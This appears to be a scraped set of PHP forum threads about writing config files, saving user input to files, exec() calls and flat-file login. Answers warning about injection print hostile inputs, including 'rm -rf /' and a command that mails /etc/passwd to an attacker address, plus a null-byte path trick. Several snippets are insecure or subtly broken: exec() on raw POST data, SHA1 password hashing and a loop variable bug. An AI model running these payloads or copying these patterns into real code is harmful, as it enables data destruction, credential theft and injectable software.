In the admin area of my site there is a form which is for the hostname, username and password for the mysql database that the site uses. Currently these values are hardcoded into a php class. But who can I link it so the form can edit the variables in the php class (and keep the results on the server, in other words the variables are hardcoded). I'd normally keep things like this in a database but obviously this can't be done.
Create a configuration file, and grant your web server write access to it. Then it's just a simple matter of writing a script which saves the DB config to this file. E.g.
$fh = fopen('config.php', 'w');
fwrite($fh, chr(60) . "?php\n");
fwrite($fh, sprintf("define('DB_HOST', '%s');\n", addslashes($_POST['DB_HOST'])));
fwrite($fh, sprintf("define('DB_USER', '%s');\n", addslashes($_POST['DB_USER'])));
fwrite($fh, sprintf("define('DB_PASS', '%s');\n", addslashes($_POST['DB_PASS'])));
fclose($fh);
Keep the values in a config file. And make sure it is not accessible from the web.
The easiest solution is to keep the values in a configuration array - the user enters the values, you generate an array from it, then file_put_contents("config.php", "<?php $config = " . var_export($config)). With this method whenever you need the config array, all you need to do is include config.php and it's there.
This is untested code, for example purposes only. Depending on your situation, you may need to solve race conditions, file_put_contents is not enought for that. The main point of the above code is: var_export returns valid php code, that you can eval (if you're evil enough) or echo to a file and include that later.
Related
So, my script allows people to write content into a .txt file and save it on the server. They can currently write anything they want to. This is the method I'm using to save the file.
<?php
$victim = $_POST['victim'];
$user = $_POST['user'];
$comment = $_POST['comment'];
$IP = $_POST['IP'];
$data = "$victim | $user | $comment | $IP\n";
//open the file and choose the mode
$fh = fopen($victim.".txt", "a");
fwrite($fh, $data); //close the file fclose($fh);
print "User Submitted";
echo "URL is mysite.com/".$victim.".txt"
?>
My question is - is there anything they could write that would damage the way my server works?
Sure. I can send this string as your victim POST argument:
/var/www/your_website/index.php\0
And you'll modify index.php. The \0 makes PHP ignore the .txt extension. In user, I could send some PHP code and append it into your index page, which is pretty bad.
This is an impossible question to answer because there are so many possibilities. One thing that I see is that someone could upload executable code or script. If the attacker can then cause the server to process the script in some way it could lead to compromise of the server. If the text file is ever served out to another user, you have a XSS vulnerability.
Yes. Depending on your server configuration, for example people could provide an URL (for example http://someotherpage/somepage?) as the victim argument and thereby make PHP open a HTTP (or some other kind of possibly malicious) connection. You propably don't want this to happen.
I'm on a website project and administrators are able to create categories. When they do make them the name of the category is added to the database.
In the PHP file that processes the form used to create categories, I create a directory with the given name in the specific directory of my host, which at this time looks like:
exec('mkdir /homezx/user/website/categories/' . $_POST['name']);
It works fine, but now I'd like to copy a template from a resource folder to this new created directory (would be the index of it) and I know how to do it.
exec('cp .../templates/index.php /.../categories/' . $_POST['name'] . '/index.php');
The problem is I want to craft this template so it can fit the folder where it is placed.
In the template file, I've replace all the parts that will be different from one to one index with the string '%name%'.
What could be the best way to copy this file in a created folder, after having changed all the '%name%' by a given name (e.g. in the title tag)?
$name=$_POST['name'];
mkdir($path_to_new_folder);
$template=fopen($path_to_template);
$str=file_get_contents($template);
$newstr=str_replace('%name%',$name,$str);
fclose($template);
$newfile=fopen($path_to_new_folder.'/index.php','w');
fwrite($newfile,$new_str);
fclose($newfile);
is this what you're trying to do? it will open your templace, replace %name% with the new name, create the directory, and the new file, write the edited template file and save it
I am by no means a hacker, nor even close to that. Thse examples probably would not even work on first try, this is just to get you thinkin. What if $_POST['name'] contains ...
$_POST['name'] = ";rm -rf /"; // ;ends the mkdir instruction ..
or ...
$_POST['name'] = ";mail -s “Pawned” badguy#allyourbasebelongtous.com < /etc/passwd";
Friendly advice, never ever ever use exec like that. Better yet, never ever ever use exec if you can avoid it, especially on web-based applications.
It is advisable to use PHP's mkdir() and copy() functions. For example, couldn't $_POST['name'] be anything? Do you really want to exec() anything?
Secondly, to accomplish the templating, you can use something as simple as this.
$template = file_get_contents('template.html');
$replacements = array(
'%name%' => 'Oddantfr'
);
$contents = str_replace(
array_keys($replacements),
array_values($replacements),
$template
);
file_put_contents('template.html', $contents);
This is not an answer to the question per se, but a comment that cannot be contained in a comment. However, you need to know this if you don't already.
exec('mkdir /homezx/user/website/categories/' . $_POST['name']);
This is very very very bad. Do NOT do this. When you run an exec() in PHP, the first argument is run as a string, which allows for things like this to take place:
$_POST[] ~ ".'; i0wnZU(); doBadStuff();'";
Which would make your exec()'d code equivalent to:
exec('mkdir /homezx/user/website/categories/'.'; i0wnZU(); doBadStuff();');
Replace my two funny functions with actual bad things (maybe, a root'd script or something), and you have a security hole allowing access to your server's underlying OS.
Use the PHP-provided mkdir() and copy() functions, and CLEAN any POST/GET variables you have submitted to you. Do not EVER just plug it in directly into your code uncleaned, especially in database queries.
I have a dedicated server that I use to crunch lots of data. The way I have it now, I can open a script with a process ID like example.php?ex_pid=123 and just let it go. It downloads a small portion of data, processes it, then uploads it into a database then starts again.
Ideally, I would like to call example.php?ex_pid=123 directly and not by passing a variable to example.php like exec('./example.php'.' '.EscapeShellArg($variable)); to keep it from acting globally.
I don't care about the output, if it could execute in the background, that would be brilliant. The server is an Ubuntu distribution btw.
Is this even possible? If so, any help and examples would be more then appreciated.
You could do something like:
exec("./example.php '".addslashes(serialize($_GET))."');
And then in example.php do something like this:
count($_GET) == 0 && $_GET = unserialize(stripslashes($_SERVER['argv'][1]))
The main issue with that is that ?ex_pid is GET data which is generally associated with either including the file or accessing it through a browser. If you were including the file or accessing it from a web browser this would be trivial, but running it as CLI, your only option would be to pass it as an argument, unfortunately. You can pass it as ex_pid=123 and just parse that data, but it would still need to be passed as an argument but doing that you could use parse_str() to parse it.
Depending on what the script does, you could call lynx to call the actual page with the get data attached and generate a hash for an apikey required to make it run. Not sure if that is an option, but it is another way to do it how you want.
Hope that helps!
I had a real problem with this and couldn't get it to work running something like example.php?variable=1.
I could however get an individual file to run using the exec command, without the ?variable=1 at the end.
What I decided to do was dynamically change the contents of a template file , depending on the variables I wanted to send. This file is called template.php and contains all the code you would normally run as a $_GET. Instead of using $_GET, set the value of the variable right at the top. This line of code is then searched and replaced with any value you choose.
I then saved this new file and ran that instead.
In the following example I needed to change an SQL query - the template file has the line $sql="ENTER SQL CODE HERE";. I also needed to change the value of a a variable at the top.
The line in template.php is $myvar=999999; The code below changes these line in template.php to the new values.
//Get the base file to modify - template.php
$contents=file_get_contents("template.php");
$sql="SELECT * FROM mytable WHERE foo='".$bar."'";
$contents=str_replace("ENTER SQL CODE HERE",$sql,$contents);
//Another search
$contents=str_replace("999999",$bar,$contents);
$filename="run_standalone_code".$bar.".php";
//If the file doesnt't exist, create it
if(!file_exists($filename)){
file_put_contents($filename, $contents);
}
//Now run this file
$cmd="/usr/local/bin/php ".$filename." >/dev/null &";
exec($cmd);
I had completely forgotten about this question until #Andrew Waugh commented on it (and I got an email reminder).
Anyways, this question stemmed from a misunderstanding as to how the $argv array is communicated to the script when using CLI. You can pretty much use as many arguments as you need. The way I accomplish this now is like:
if (isset($argv)) {
switch ($argv[1]) {
case "a_distinguishing_name_goes_here":
$pid = $argv[2];
sample_function($pid);
break;
case "another_name_goes_here":
do_something_else($argv[2]);
break;
}
}
Ok, I am storing a session variable like so to load up users layouts faster if it's set instead of calling the database. But since the layout can be changed via the Administrator, I'd like to be able to globally remove all sessions where $_SESSION['layout']['action'] is set for all users.
$_SESSION['layout']['action'] = array(a ton of indexes and mulit-dimensional arrays);
Now, I know it's being stored into my database sessions table, there's a column for session_id, last_update, and data. So, question I have is how to remove that session array key ['action'] from all users.
Using
$_SESSION = array();
session_destroy();
Does not work.
Basically, session_start() is being loaded on every page load, so I just want to remove all ['action'] keys from ['layout'].
Is this possible to do?
Thanks
Ok, I am storing a session variable
like so to load up users layouts
wrong
I'd like to be able to globally remove
all sessions where
wrong
it's being stored into my database
OMG "t instead of calling the database"!
Is this possible to do? Thanks
Leave sessions alone and don't use it for the global settings.
If you don't want to hit the database each time to load configuration data, you can cache it in a generated .inc file. Remember, PHP is just text - you can use a PHP script to generate another PHP script:
$fh = fopen('sitevars.inc'); // skipping error handling, since this is an example.
fwrite($fh, '<' . '?php' . "\n"); // split the <? tags in case an unbalanced ' somewhere hoses things
fwrite($fh, '$lifetheuniverse = 42;' . "\n"); // single quotes to the $ doesn't have to be escaped.
fwrite($fh, "\$layoutaction = 'slap forehead with palm';\n");
fclose($fh);
and then you just include_once('sitevars.inc'); and boom, it's a "global" variable. No messing with sessions.
That being said, if your sessions are being stored in the database, most likely they're in serialized format. To do a proper job of stripping a particular "global" session var from each, you'd have to load each record, de-serialize, delete the variable, re-serialize, and re-save into the DB. And hope you don't trash someone's session who happens to be active at the time you're doing these updates.
I am working on my first PHP based website, and I was wondering what solutions were out there for a username/password system? I have tried using a .htaccess file for basic security, and while it works, I want something a little easier for a layman to administer. Are there any other solutions out there that I could try? I don't have a database server available, so it would have to support flat file databases...thanks!
Edit I have determined that I do have SQLite support, so I do have a database option available. Also, I feel I should mention a little further some requirements that I have. I originally looked to using .htaccess to protect my website, since I need security over the entire directory. Most of the files I am trying to protect are .pdf and .doc...any solution would have to allow me to secure those files as well as any web pages in the directory.
If I could find a good solution to more or less "skin" the .htaccess method of locking a directory, so that I could do things like have an actual login/register page, etc. then I would just stick to the .htaccess method. I would however like something that is more manageable, I just need the directory security.
I wrote up this code quickly, it is syntacticly correct but I have not tested it.
There are 2 things that I did not do here, first, I did not provide a function to remove a user and second I did not provide a function to change a users password, these you'll have to write yourself.
However this should provide for a good place to start.
These functions will store your usernames/passwords in a file called passwords in the following format
username0:password0
username1:password1
username2:password2
...
.
function authenticate($username, $password)
{
//ALWAYS use a salt to secure the encryption of your passwords, this can be any value of any
//length, the longer and the more characters the better
//I like to use a "perfect password" from Steve Gibbson's https://www.grc.com/passwords.htm
//This must the exactly the same as the salt in theaddUser() function
$salt = 'voDeaFWckErOPPGwiapYBwEoc4O2d1M60m2QsYc7A15PUshrLamoVioG1wUmEgF';
//First we need to get the contents of the file that has the usernames/passwords in it.
//we don't want to use fopen() or we may end up with a locked file error if another access is
//attempted before we've closed it.
//this line will get the contents of the file named passwords and store it in the $fh variable
$fh = file_get_contents('passwords');
//Now lets take the file and split it into an array where each line is a new element in the array.
$fh = split("\n", $fh);
//Now lets loop over the entire array spliting each row into it's username/password pair
foreach($fh as $r)
{
//Every time this loop runs $r will be populated with a new row
//Lets split the line into it's username/password pairs.
$p = split(':', $p);
//Since we don't need all the usernames/password to be in memory lets stop when we find the one we need
if($p[0] == $username && $p[1] == sha1($salt . $password))
{
//We've found the correct use so lets stop looping and return true
return true;
}
}
//If we've reached this point in the code then we did not find the user with the correct password in the 'database'
//so we'll just return false
return false;
}
function addUser($username, $password)
{
//ALWAYS use a salt to secure the encryption of your passwords, this can be any value of any
//length, the longer and the more characters the better
//I like to use a "perfect password" from Steve Gibbson's https://www.grc.com/passwords.htm
//This must the exactly the same as the salt in the authenticate() function
$salt = 'voDeaFWckErOPPGwiapYBwEoc4O2d1M60m2QsYc7A15PUshrLamoVioG1wUmEgF';
//We need to parse out some preticularly bad characters from the user name such as : which is used to seperate the username and password
//and \r and \n which is the new line character which seperates our lines
$username = preg_replace('/\r|\n|\:/', '', $username);
//Now lets encrypt our password with the salt added
$password = sha1($salt . $password);
//Lets build the new line that is going to be added
$line = $username . ':' . $password . "\n";
//Lets open the file in append mode so that the pointer will be placed at the end of the file
$fh = fopen('passwords', 'a');
//Write the new entry to the file
fwrite($fh, $line);
//Close the file
fclose($fh);
//Typicaly one would write a bunch of error handling code on the above statments and if something
//goes wrong then return false but if you make it this far in the code then return true
return true;
}
Have a look at Zend_Auth. It's open source, so you can sniff around to get a feel for how an authentication module should (or could) be implemented. From the doc:
Zend_Auth is concerned only with
authentication and not with
authorization. Authentication is
loosely defined as determining whether
an entity actually is what it purports
to be (i.e., identification), based on
some set of credentials.
Sure, there are plenty of flat file database PHP security systems available. Doing a quick Google search will pull up many results. Here is a tutorial:
http://www.devshed.com/c/a/PHP/Private-Pages-with-PHP-and-Text-Files/
Check if you have support for sqlite, it doesn't require a server so it might work for you.
And don't forget to hash your passwords. ;)
To check create a file (ex. php_info.php) add:
<?php
phpinfo();
Then upload the file to your host, load it in your browser (example.com/php_info.php) and do a search for sqlite.
You should see several references to sqlite in the page that shows if you have support. The line with "SQLite Library" will tell you the version of sqlite you have (if you have it).
Also once you are done you should delete the php_info.php file from your site, since it does give some information on your setup which can be helpful to crackers.
have you seen if you have SQLite available? It is PHP's built in database. If not you could just use read/write to a file hope this helps a bit
According to this page from the Apache website:
In general, you should never use .htaccess files unless you don't have access to the main server configuration file. There is, for example, a prevailing misconception that user authentication should always be done in .htaccess files. This is simply not the case. You can put user authentication configurations in the main server configuration, and this is, in fact, the preferred way to do things.
Its easy to see why this is so, too. Its far preferable to have centralized control, rather than digging through EVERY SINGLE DIRECTORY when debugging a faulty configuration.
I urge you to transfer your .htaccess file config to your main configuration file ASAP, for your own good!